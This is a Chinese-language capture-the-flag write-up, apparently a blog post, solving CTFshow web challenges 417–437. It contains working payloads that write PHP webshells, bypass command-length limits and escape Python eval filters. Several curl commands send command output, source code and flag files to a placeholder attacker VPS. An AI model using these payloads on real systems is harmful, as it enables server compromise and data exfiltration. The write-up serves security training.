CTFSHOW | 其他篇题解(二)web417 - web437
前言
由于题目比较多,所以分三个部分来写,这是第二部分
题目列表
web417
有个3.php
文件,下载后是一段加密代码,用ai解密
得到代码
1 | include('flag.php'); |
GET传入
1 | ?ctf=show |
成功得到flag
web418
先看代码
由于变量key已经被赋值为0,因此这个后门没什么用,需要另辟蹊径
然后我们可以看到有个extract
函数,这是PHP里的一个函数调用。extract()
作用是把数组里的键名当作变量名,在当前作用域创建同名变量,并赋值为数组的对应值。比如$_POST['wayne']=123
时,extract($_POST);
之后就有了变量$wayne=123
我们看这个代码
1 | $die?die('FLAG_NOT_HERE'):clear($clear); |
由于变量die没有被赋值,因此可以进行变量覆盖。这是三目运算符,我们可以传入0来触发后面的clear($clear)
继续往下划,可以看到clear
函数的定义
给变量clear用分号截断命令即可,POST传入
1 | die=0&clear=;echo '<?=eval($_POST[1]);?>'>/var/www/html/1.php |
然后蚁剑连接
在网页根目录找到flag
web419
先看代码
这题要求POST传入参数code,且长度要小于17,然后eval执行php代码
咱们用反引号执行命令即可,把当前目录下的flag.php
复制到1.txt
payload:
1 | code=`cp f* 1.txt`; |
然后打开1.txt
读取flag即可
web420
先看代码
这次code长度被限制在8位以内,也就是7位,然后eval函数也换成了system。有几个方法可以做这题
方法一:nl输出
nl命令是Linux系统中的一个命令行工具,全称是“number lines”,用于给文本文件或标准输入的每一行添加行号,并将结果输出。它类似于cat -n,但nl对行号显示格式和处理方式更灵活
经过尝试,发现flag在/var/www
目录里面
payload:
1 | code=nl ../* |
方法二:写文件并执行
非常妙的一个方法,强烈建议学习,参考文章:命令注入长度限制绕过
假设我们要写入webshell
目标是传入echo PD89ZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php;
先用重定向符创建文件,依次执行以下命令
1 | >hp\; |
然后把这些文件名以时间倒序形式写入任意一个文件,例如0
1 | ls -t>0 |
最后运行文件即可,会执行0里面的命令,然后在当前目录创建一个1.php
1 | sh 0 |
连接蚁剑即可
成功找到flag
web421
先看代码
这次是要求code长度小于6,也就是长度为5
经过测试,发现flag就在当前目录。直接nl
读取就可以
payload:
1 | code=nl f* |
然后打开源代码查看flag
web422
先看代码
相比上题,这题的code长度被限制在5以内
直接nl
打印全部内容即可
payload:
1 | code=nl * |
然后查看网页源码
web423
打开源代码,可以看到提示
拼接code参数,一开始用PHP和直接执行命令都不行。经过测试,这个网站是python文件运行的,要用python代码执行
payload:
1 | ?code=os.popen('ls').read() |
可以把原始代码打印出来看看
1 | ?code=os.popen('cat app.py').read() |
1 | from flask import Flask |
执行命令获取flag即可
1 | ?code=os.popen('cat /flag').read() |
web424
这题用?code=os.popen('ls').read()
会报内部错误,既然执行命令不可以,我们试试直接用open函数读取文件
1 | ?code=open('app.py').read() |
成功执行,得到网页源码
1 | from flask import Flask |
可以看到,这次没有了os模块,没办法执行系统命令了,不过不影响我们读取文件
payload:
1 | ?code=open('/flag').read() |
成功得到flag
web425
跟上题一样,先读取源代码看看
1 | ?code=open('app.py').read() |
1 | from flask import Flask |
可以看到这题相比上题,过滤了code里面的os字符串,其他都是一样的,不影响我们做题
payload:
1 | ?code=open('/flag').read() |
web426
上题的payload也能用,先看源码
1 | ?code=open('app.py').read() |
1 | from flask import Flask |
这题的正则匹配改了,简单解释一下
re.compile(r'os|popen')
创建了一个模式,表示“匹配os
或popen
”- 竖线
|
是“或”的意思 reg.match(code)
表示只从字符串开头匹配:- 如果字符串开头含
os
或popen
,匹配成功 - 否则匹配失败(即
None
)
- 如果字符串开头含
也就是开头不能包含os和popen,不过对我们影响不大
payload:
1 | ?code=open('/flag').read() |
web427
可以继续用上题的payload,先看源码
1 | ?code=open('app.py').read() |
1 | from flask import Flask |
这题比上题多过滤了system,不影响做题
payload:
1 | ?code=open('/flag').read() |
web428
可以继续用上题的payload看源码
1 | ?code=open('app.py').read() |
1 | from flask import Flask |
这题比上题多过滤了read,不过因为reg.match(code)
匹配的是开头,所以对我们没有影响
payload:
1 | ?code=open('/flag').read() |
web429
这题一开始用open('app.py').read()
执行不了,猜测是某个地方被过滤了,经过尝试,在前面加个空格即可绕过限制
1 | ?code= open('app.py').read() |
源代码:
1 | from flask import Flask |
可以看到,这题过滤了open字符串,因为re.match()
是从字符串开头匹配,所以我们在前面加个空格即可绕过
payload:
1 | ?code= open('/flag').read() |
web430
可以用上题的payload,先看源代码
1 | ?code= open('app.py').read() |
1 | from flask import Flask |
这题把eval也过滤了,不过对我们没影响
payload:
1 | ?code= open('/flag').read() |
web431
继续用上题的方法做就好,看看源码
1 | ?code= open('app.py').read() |
1 | from flask import Flask |
这次多过滤了str,不影响做题
payload:
1 | ?code= open('/flag').read() |
web432
这题用不了之前的方法了,看了网上其他师傅的做法,可以用类似SSTI模板注入的方法来做,构造一条命令执行的链子
由于os.system()
不会把命令的输出结果返回给 Python 程序,所以我们用curl外带数据显示
payload:
1 | ?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`')) |
简单解释里面的一些代码
1 | __builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm') |
__builtins__
:是 Python 的一个内置模块,包含了所有内建函数和对象(如print
,str
,dict
等)。它在任何 Python 代码中都可以直接访问__dict__
:这是 Python 对象的一个特殊属性,它是一个字典(dict),存储了该对象(这里是__builtins__
模块)的所有属性。键是属性名,值是属性本身__builtins__.__dict__['__import__']
:这部分代码通过字典键值查询的方式,从__builtins__
模块中获取了内建函数__import__
。这和直接写__import__
是一样的,但更隐蔽__getattribute__
:是 Python 对象的一个方法,用于获取对象的属性。os.__getattribute__('system')
的效果和os.system
完全一样
%2b表示+号,目的是为了绕过正则匹配限制
我们可以通过curl把app.py
内容转为base64编码外带到vps显示
1 | ?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`base64 -w 0 app.py`')) |
默认情况下,base64
命令输出的编码字符串会在每 76 个字符后自动换行,所以我们不用cat app.py|base64
,会显示不完整,我们用base64 -w 0 app.py
即可,参数 -w 0
表示取消换行
解码base64,成功得到网站源码
1 | from flask import Flask |
可以看到之前的reg.match(code)
改成了reg.search(code)
,意味着从检测开头变换到检测整个字符串
最后找flag就可以
payload:
1 | ?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`')) |
得到的flag没有括号,自行加个括号就可以
web433
直接用上题的payload会不行,经过测试发现去掉builtins
就可以了
1 | ?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`')) |
也可以把so反转成os,[::-1]
是 Python 中字符串切片的写法,表示反转字符串。'so'[::-1]
结果是 os
1 | ?code=str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`')) |
老样子,我们看看源码,方法跟上题一样,base64带出来
1 | from flask import Flask |
可以看到这题把builtins
模块禁了,我们直接import
就可以
payload:
1 | ?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`')) |
web434
经过测试,发现这题是把curl过滤了,加个'%2b'
在中间就可以
1 | ?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`ls`')) |
我们看看源码
1 | from flask import Flask |
发现多了两个函数,用于将字符串中的全角字符转换为半角字符,然后后面调用 stringQ2B
将 code
中的全角字符全部转为半角,返回结果重新赋值给 code
,对我们影响不大
payload:
1 | ?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`cat /flag`')) |
web435
测试发现是把下划线禁了,我们可以用web433提到的字符串切片方法来反转字符串
首先构建反转代码,我们可以直接引入os,然后调用里面的system函数,原始代码:import os; os.system("curl http://你的vps地址:端口?p=ls")
1 | ?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]) |
可以在网页看到原始代码
我们具体解释一下[::-1]
代码,Python 的切片语法是:
1 | sequence[start:stop:step] |
start
是切片起始索引(包含该位置)stop
是结束索引(不包含该位置)step
是步长(跨越的索引间隔)
其中三个参数都可以省略
[::-1]
的含义:
start
和stop
都省略,表示从序列的头到尾step
是-1
,表示步长为-1,即反向遍历序列
这样会创建序列的反转副本,不改变原序列
然后我们用exec
执行这串代码就可以
payload:
1 | ?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
可以把它的源码爆出来看看
1 | ?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
1 | from flask import Flask |
最后我们找flag就可以
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
web436
可以继续用上题的方法
我们把源码爆出来看看
1 | from flask import Flask |
可以看到这题把getattr
过滤了,不过不影响我们做题,步骤跟上题一样
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
web437
跟上题一样的方法
爆出源码看看
1 | from flask import Flask |
多了个if '\\u' in code
,\\u
是一种表示 Unicode 编码字符 的转义序列
具体说明:
- 在字符串里,
\u
后面跟着 4 位十六进制数字,用来表示一个 Unicode 字符的编码 - 比如
\u4f60
表示汉字 “你”,\u597d
表示汉字 “好” - 这种写法在很多编程语言和数据格式(如 JSON)中都用来表达非 ASCII 字符
这次过滤对我们影响不大,可以继续用上题的步骤
payload:
1 | ?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])) |
CTFSHOW | 其他篇题解(二)web417 - web437
https://waynejoon.github.io/posts/ctfshow-others-2-web417-web437/